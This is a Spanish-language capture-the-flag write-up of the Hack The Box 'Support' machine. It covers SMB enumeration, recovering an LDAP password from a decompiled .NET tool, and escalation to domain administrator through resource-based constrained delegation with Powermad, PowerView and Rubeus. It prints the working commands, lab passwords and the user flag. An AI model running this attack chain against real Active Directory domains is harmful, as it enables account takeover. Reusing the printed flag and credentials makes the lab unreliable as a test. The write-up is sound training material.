Support WriteUp

Iniciamos con un escaneo de puertos:

$ nmap -sV -Pn -sC -v -T4 10.10.11.174

Enumeramos los shares disponibles como guest utilizando netexec:

$ nxc smb 10.10.11.174 -u guest -p '' --shares

Como podemos observar, tenemos permisos de lectura sobre support-tools

Nos conectamos a support-tools utilizando smbclient:

$ smbclient //10.10.11.174/support-tools guest

Una vez dentro, veremos varios archivos .exe y .zip de herramientas como 7zip, Notepad, Putty, WinDirStat y WireShark, ademas de 2 archivos interesantes que son UserInfo.exe.zip y SysinternalsSuite.zip

Descargamos UserInfo.exe.zip y SysinternalsSuite.zip con el comando get:

get SysinternalsSuite.zip

get UserInfo.exe.zip

Si descomprimimos la carpeta UserInfo.exe.zip veremos que hay varios archivos .dll, el ejecutable UserInfo.exe y su archivo de configuracion UserInfo.exe.config

Si revisamos el archivo de configuracion, veremos que el archivo UserInfo.exe se trata de un archivo ejecutable para Windows ensamblado en .Net

Si buscamos en Google un desensamblador para .net en github obtendremos varios resultados, entre ellos ILSpy y dnSpy

Como ILSpy me dio algunos problemas, opte por utilizar dnSpy para decompilar el UserInfo.exe ya que su estructura esta basada en .NET:

https://github.com/dnSpy/dnSpy

Una vez decompilado el UserInfo.exe se nos creara un archivo dentro de la carpeta /decompiled llamado UserInfo.decompiled.cs

Revisamos el contenido de UserInfo.decompiled.cs en busqueda de claves con:

$ cat UserInfo.decompiled.cs | grep "password"

Como podemos observar, hay una clave encodeada para lo que parece ser el usuario ldap

Si revisamos el codigo del archivo UserInfo.decompiled.cs veremos que tiene una private key la cual es "armando" esta private key nos permitira decodear la clave final

Enumeramos los usuarios del sistema bruteando el RID con netexec:

$ nxc smb 10.10.11.174 -u guest -p '' --rid-brute

Armamos un script simple para decodear la clave:

Tras ejecutarlo, obtendremos la clave decodeada del usuario ldap la cual es nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Realizamos un escaneo del AD con bloodhound utilizando las credenciales previamente obtenidas:

$ bloodhound-python -d support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -ns 10.10.11.174 -c All --zip

Vemos que el usuario LDAP es miembro del DOMAIN USERS

Si revisamos el escaneo, veremos que hay muchos usuarios mas dentro del sistema

Como no encontramos mucha informacion que nos permita continuar con la escalada, procedemos a utilizar ldapsearch para validar las credenciales y que dumpee todos los objetos que encuentre en el AD:

ldapsearch -x -H ldap://10.10.11.174 -D 'SUPPORT\LDAP' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=SUPPORT,DC=HTB"

Si revisamos, veremos que el escaneo tambien nos arroja la clave del usuario support en el campo info: Ironside47pleasure40Watchful

$ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

User Flag: 3bcb9669db94994002439aa221e0a999

Si revisamos el escaneo de bloodhound realizado previamente, veremos que el usuario SUPPORT es miembro de REMOTE MANAGMENT USERS lo cual habilita que sea posible la conexion mediante evil-winrm. Es miembro del DOMAIN USERS, los usuarios del dominio. Y tambien es miembro del grupo SHARED SUPPORT ACCOUNTS.

Si revisamos mas al detalle, veremos que SHARED SUPPORT ACCOUNTS tiene permisos de GenericAll sobre el Domain Control

Esto habilita varios ataques, entre ellos el Resource-Based Constrained Delegation (RBCD) que nos sugiere bloodhound

El Resource-Based Constrained Delegation (RBCD) o Delegacion Restringida Basada en Recursos, como su nombre indica, es la delegacion basada en recursos dentro del AD, esto permite que un equipo (objeto computadora) actue en nombre de usuarios cuando accede a servicios de otro equipo, por ejemplo:

Supongamos que hay dos servidores:

El Servidor A (que ya controlo).
El Servidor B (al que quiero llegar).

Normalmente, solo el administrador de B decide quién puede delegar y acceder.
Pero con RBCD, el Servidor A puede “anotarse solo en la lista” de B como alguien autorizado.

¿El resultado? Desde A puedo hacerme pasar por cualquier usuario ante B (incluso un admin) y así entrar a lugares donde no debería.

En este caso, como estamos desde el usuario support que es miembro del grupo SHARED SUPPORT ACCOUNTS que tiene permisos de GenericAll sobre el Domain Control lo que podriamos hacer es crear una maquina (objeto computadora) que actue como si fuese el administrador al agregarlo al
msDS-AllowedToActOnBehalfOfOtherIdentity (que seria como la "lista de invitados del servidor", la cual dice que maquinas estan autorizadas a entrar y actuar en nombre de otros usuarios) para finalmente pedir un ticket de Kerberos con el fin de autenticarnos como administrador en el Domain Control.

Primero vamos a verificar que podemos crear maquinas utilizando netexec:

$ nxc ldap 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful' -M maq

Como podemos observar el MachineAccountQuota es 10, lo que significa que podemos crear hasta 10 cuentas de equipo

El ataque se puede realizar tanto desde Windows, mediante la sesion de evil-winrm como desde nuestra maquina linux. En este caso, para realizar el ataque desde la sesion de evil-winrm como el usuario support, si revisamos la recomendacion de bloodhound, para realizar el ataque vamos a necesitar 3 herramientas:

Powermad.ps1: Para la explotacion del MachineAccountQuota.
Powerview.ps1: Para interactuar con PowerShell y enumerar/configurar AD.
Rubeus.exe: Para la manipulacion de Kerberos y obtencion de tickets.

Subimos las 3 herramientas a nuestra sesion de evil-winrm con:

upload Powermad.ps1

upload Powerview.ps1

upload Rubeus.exe

Creamos la cuenta de máquina PWNED$ con contraseña Pwned1337# para usarla en la explotación de delegación:

New-MachineAccount -MachineAccount PWNED -Password $(ConvertTo-SecureString 'Pwned1337#' -AsPlainText -Force) -Verbose

Asignamos PWNED$ en PrincipalsAllowedToDelegateToAccount del equipo DC para habilitar RBCD:

Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount PWNED$

Verificamos que PWNED$ aparece en PrincipalsAllowedToDelegateToAccount del DC

Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount

Generamos las claves derivadas de la contraseña de PWNED$ para poder solicitar tickets Kerberos:

.\Rubeus.exe hash /password:Pwned1337# /user:PWNED$ /domain:support.htb

Con Rubeus realizamos S4U2self+S4U2proxy usando la clave de PWNED$ para obtener e inyectar un TGS por cifs/dc.support.htb que nos permite impersonar a administrator:

.\Rubeus.exe s4u /user:PWNED$ /rc4:C21C33DBE899772558DAE64F166A04A7 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb/support.htb /ptt

S4U2self + S4U2proxy

S4U2self: un servicio autenticado (p. ej. PWNED$) solicita al KDC un ticket intermedio que le permite actuar en nombre de otro usuario (por ejemplo Administrator) sin conocer la contraseña de ese usuario.

S4U2proxy: usando ese ticket intermedio, el servicio pide al KDC un TGS para un servicio objetivo (p. ej. cifs/dc.support.htb) en nombre del usuario impersonado.

Juntos: permiten que una identidad controlada (PWNED$) impersone a Administrator frente a un servicio remoto si y solo si la cuenta está autorizada para delegar hacia ese servicio (RBCD: msDS-AllowedToActOnBehalfOfOtherIdentity / PrincipalsAllowedToDelegateToAccount). En este caso, Rubeus ejecutó S4U2self + S4U2proxy y devolvió el TGS para cifs/dc.support.htb impersonando a Administrator; ese ticket fue convertido/inyectado y verificado con klist antes de usarlo con psexec.

Por lo tanto, el comando que pusimos previamente:

Autentica como PWNED$ ante el KDC usando el RC4 hash (/rc4) — construye la petición necesaria. (AS-REQ / PA-ENC-TIMESTAMP o equivalente).

S4U2self: pide al KDC un ticket que represente a PWNED$ actuando como administrator. El KDC devuelve un ticket de servicio (no necesariamente un TGS para el SPN final; es un ticket que prueba la identidad impersonada).

S4U2proxy: con el ticket de S4U2self, solicita al KDC un TGS para cifs/dc.support.htb donde la identidad asociada al ticket sea administrator. El KDC valida: ¿PWNED$ está autorizado a delegar hacia ese SPN en el objeto DC? Si la respuesta es sí (RBCD presente), emite el TGS para cifs/dc.support.htb con principal = administrator.

Rubeus muestra la salida: normalmente imprime confirmación, la base64 del ticket .kirbi y si pedimos /ptt (Pass The Ticket) intenta inyectarlo en LSA.

Resultado: obtenemos un TGS usable para autenticación SMB como Administrator.